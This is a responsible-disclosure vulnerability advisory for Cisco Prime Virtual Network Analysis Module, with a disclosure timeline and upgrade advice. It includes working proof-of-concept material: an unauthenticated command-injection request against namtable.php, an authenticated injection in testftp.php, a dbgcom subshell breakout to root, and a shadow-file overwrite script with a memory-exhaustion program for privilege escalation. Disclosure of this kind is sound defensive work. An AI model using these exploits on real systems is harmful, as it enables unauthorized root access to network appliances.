security-assessment.com

Vulnerability Advisory

Name	Cisco Prime vNAM Unauthenticated Remote Code Execution
Vendor Website	www.cisco.com
Affected Software	Cisco Prime Virtual Network Analysis Module <= 6.2, 6.2(1b). Published Cisco Security Advisories contain a full list of affected software.
Date Of Public Advisory	02/06/2016
Researchers	Daniel Jensen
CVE Numbers	CVE-2016-1388 CVE-2016-1390 CVE-2016-1391

Description

The Cisco Prime Virtual Network Analysis Module web interface contains a vulnerability allowing a remote unauthenticated attacker to execute arbitrary commands as the www user, and a vulnerability allowing users authenticated to the web interface to execute arbitrary commands. Additionally, a command injection vulnerability in undocumented parameters of the CLI subshell allows an SSH authenticated user to escape the subshell and access the underlying system with a root shell. File permission issues allow low level users such as www to escalate privileges to root.

Exploitation

Unauthenticated Code Execution

An unauthenticated attacker with the ability to connect to the Cisco vNAM web interface is able to execute arbitrary commands on the device as the www user.

This is due to an access bypass and execution of user provided code in the namtable.php script. The script does not load the authentication module if it is operating in "CLI mode". The "CLI mode" code path can be triggered over HTTP by including the string "namtable.php" in the request string. This passes the strpos() check for the script name in the code, and execution continues in "CLI mode". As register_globals is enabled in the appliance PHP configuration, arbitrary variables can be passed in the HTTP query and will be set in the script. The PHP exec() function is called on values obtained from the $set1 variable, which can be set by an attacker as a GET parameter.

The following screenshots show exploitation of this issue, by creating a file on the system using the 'touch' command. This vulnerability can also be used to gain a reverse shell to the device.

Proof of Concept – Request Containing Commands

```
[redacted]~# curl -s "http://[redacted]/report/namtable.php?namtable.php=0&set
1=a%26touch%20/var/tmp/code-exec%26%23" >/dev/null
```

Proof of Concept – File Created on the vNAM

```
bash-3.00# ls -l /var/tmp/code-exec
-rw-r--r-- 1 www www 0 Jan 21 11:00 /var/tmp/code-exec
```

Authenticated Code Execution
There is a command injection vulnerability present in the web interface that can be exploited by authenticated users to execute code as the www user. This is due to improper sanitization of parameters passed to the shell_exec() function. The following screenshots demonstrate the issue:

Proof of Concept – Command Injection

```
GET /admin/system/ftp/testftp.php?server=127.0.0.1;touch+/var/tmp/testftp-exec
HTTP/1.1
Host: [redacted]
Cookie: PHPSESSID=[redacted]; SER_PUB=[redacted]
Connection: close
```

Proof of Concept – File Written

```
bash-3.00# ls -l
total 8
-rw-r--r-- 1 www  www  238 Feb  1 21:44 shell.pl
-rw-r--r-- 1 www  www    0 Feb  2 11:14 testftp-exec
-rw-r--r-- 1 root root   6 Feb  2 10:26 vnam_uuid
bash-3.00# pwd
/var/tmp
bash-3.00#
```

Subshell Breakout
There is a command injection vulnerability in undocumented parameters of the Cisco vNAM subshell, which an SSH authenticated attacker can use to gain access to the underlying Linux operating system as root. The issue exists due to improper sanitization of arguments passed to commands under the undocumented "dbgcom" functionality. The following screenshot shows the exploitation of this issue:

Proof of Concept – Subshell Breakout

```
root@nam.localdomain# show version
NAM application image version: 6.1(1) RELEASE SOFTWARE [fc4]
PID: ESX
Memory size: 4 GB
Disk 0 size: 107 GB
Installed patches:

No patches are installed on this system.

root@nam.localdomain# dbgcom NtplTool &/bin/bash
>>> Error: No adapters could be found.

NtplTool (v. 1.7.A - 2011-12-01-22-05-15)
================================================================================

>>> Error: >>> Error: You need to specify at least one options
           Write NtplTool -help for list of options

bash-3.00# id;uname -a
uid=0(root) gid=0(root)
Linux nam.localdomain 3.7.0-nam #1 SMP PREEMPT Mon Feb 24 09:53:18 PST 2014 x86_64 GNU/Linux
bash-3.00#
```

The same technique can be used for multiple other parameters to the dbgcom function.

Privilege Escalation
Insecure file permissions on the Cisco vNAM allow an attacker with access to the system to escalate privileges to root. The **/etc/group** file on the device is world writable. This allows any user to alter the groups they are placed in, by simply editing the file. A user may add themselves to the **disk** group, which allows them to have read/write access to the raw /dev block devices on the host. The attacker can then read the contents of the entire disk, including the shadow file stored on /dev/sda2.
Furthermore, as write access is also possible, the attacker can write directly to the block device and overwrite the root password stored in the shadow file, allowing them to su to root with a known password. A proof of concept exploit chain follows.

First, the **/etc/group** file is altered to add the www user to the disk group. Crontab is then used to run the escalate.sh and exhaust.c files in order to gain a shell with the privileges from the altered group file, as a user compromising the host through the web server will retain the privileges of the original group file, until the host or web server restarts.

Proof of Concept – Escalate Privileges By Writing To Block Device (escalate.sh)

```
#!/bin/bash
ONE=`egrep -abo "root:(.){13}:" /dev/sda2`
PWD=`echo $ONE | cut -d":" -f3`
OFFSET=$((`echo $ONE | cut -d":" -f1`+5))
DD=`dd if=/dev/sda2 skip=$OFFSET count=13 bs=1 2>/dev/null`

echo $ONE
echo "Password = $PWD"
echo $OFFSET
echo $DD

if [ "$PWD" == "$DD" ] && [ ! -f /var/tmp/escalated ]; then
    echo -n "02lSl2magWCIY" | dd of=/dev/sda2 seek=$OFFSET obs=1
    sync
    echo "Overwritten password."
    echo "Exhaust memory, then su to root with password 'privesc'"
    touch /var/tmp/escalated
fi

echo "Done."
```

After writing directly to the /dev/sda2 block device, a C program is used to exhaust memory on the device, forcing the kernel to flush the read buffers.

Proof of Concept – Exhaust Memory To Force Kernel Read Buffer Flush (exhaust.c)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
    int exhausted = 0;
    while(1)
    {
        void *m = malloc(1024*1024);
        if(m == NULL && exhausted == 0){
            printf("Memory exhausted, leave running for a few minutes\n");
            exhausted =1;
        }
        memset(m,0,1024*1024);
    }
    return 0;
}
```

After the read buffers have been flushed, programs on the host will read the file contents from the block device, where it has been overwritten. This allows the www user to su to root using the overwritten password. An expect program can be used to gain an interactive shell and use the su command. The subshell breakout can then be used to obtain a full root shell, or the root shell can be overwritten in **/etc/passwd** using a similar direct write technique as above.

The following screenshot shows the escalation to root after the password has been overwritten in the shadow file, using the subshell breakout to escape root's default subshell.

Proof of Concept – Su to root

```
sh-3.00$ id
id
uid=80(www) gid=80(www)
sh-3.00$ cat sh.exp
cat sh.exp
#!/usr/bin/expect
spawn sh
interact
sh-3.00$ expect sh.exp
expect sh.exp
spawn sh
sh-3.00$ su -
su -
Password: privesc


Cisco Prime Virtual Network Analysis Module ESXi Console, 6.1(1)
Copyright (c) 1999-2014 by Cisco Systems, Inc.

root@nam.localdomain# dbgcom NtplTool &/bin/bash
dbgcom NtplTool &/bin/bash
bash-3.00# >>> Error: No adapters could be found.

NtplTool (v. 1.7.A - 2011-12-01-22-05-15)
================================================================

>>> Error: >>> Error: You need to specify at least one options
          Write NtplTool -help for list of options



bash-3.00# id
id
uid=0(root) gid=0(root)
bash-3.00#
```

Solution

Upgrade to the latest version of the Cisco Prime Network Analysis Module – 6.2(1b) - and apply all available security patches from Cisco.

Timeline

10/02/2016 – Vulnerabilities disclosed to Cisco PSIRT.
11/02/2016 – Cisco responds with assigned bug IDs.
20/02/2016 – Cisco provides update on vulnerability applicability to different versions of the appliance.
20/04/2016 – Cisco provides expected release date.
04/05/2016 – Cisco pushes release date back one week, and provides assigned CVEs.
02/06/2016 – Cisco publishes advisories for reported vulnerabilities.
02/06/2016 – Public disclosure of this advisory.

Responsible Disclosure

Security-Assessment.com follows a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com